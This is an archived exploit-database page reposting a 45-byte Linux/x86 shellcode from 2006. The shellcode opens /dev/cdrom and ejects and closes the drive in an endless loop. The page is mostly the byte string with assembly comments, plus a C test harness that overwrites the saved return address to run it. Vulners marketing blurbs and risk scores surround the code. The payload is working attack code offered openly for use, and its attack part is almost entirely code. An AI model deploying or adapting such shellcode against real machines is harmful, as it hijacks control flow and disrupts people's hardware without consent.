Lucene search
K

linux/x86 eject/close cd-rom loop (follows /dev/cdrom symlink) 45 bytes

🗓️ 21 Jan 2006 00:00:00Reported by izikType 
zdt
 zdt
🔗 0day.today👁 11 Views

Linux/x86 cd-rom eject/close loop shellcod

Code
=======================================================================
linux/x86 eject/close cd-rom loop (follows /dev/cdrom symlink) 45 bytes
=======================================================================







/*
 * (linux/x86) eject & close cd-rom frenzy loop (follows "/dev/cdrom" symlink) - 45 bytes
 * - izik <[email protected]>
 */

char shellcode[] = 

	"\x6a\x05"              // push $0x5 
	"\x58"                  // pop %eax 
	"\x31\xc9"              // xor %ecx,%ecx 
	"\x51"                  // push %ecx 
	"\xb5\x08"              // mov $0x8,%ch 
	"\x68\x64\x72\x6f\x6d"  // push $0x6d6f7264 
	"\x68\x65\x76\x2f\x63"  // push $0x632f7665 
	"\x68\x2f\x2f\x2f\x64"  // push $0x642f2f2f 
	"\x89\xe3"              // mov %esp,%ebx 
	"\xcd\x80"              // int $0x80 
	"\x89\xc3"              // mov %eax,%ebx 
	
	//
	// <_makeio>:
	//

	"\x66\xb9\x09\x53"      // mov $0x5309,%cx 

	//
	// <_frenzy>:
	//

	"\xb0\x36"              // mov $0x36,%al 
	"\xcd\x80"              // int $0x80 
	"\xf5"                  // cmc 
	"\x72\xf5"              // jc <_makeio>
	"\x80\xc1\x10"          // add $0x10,%cl 
	"\xeb\xf4";             // jmp <_frenzy>

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}



#  0day.today [2018-04-07]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jan 2006 00:00Current
7High risk
Vulners AI Score7
11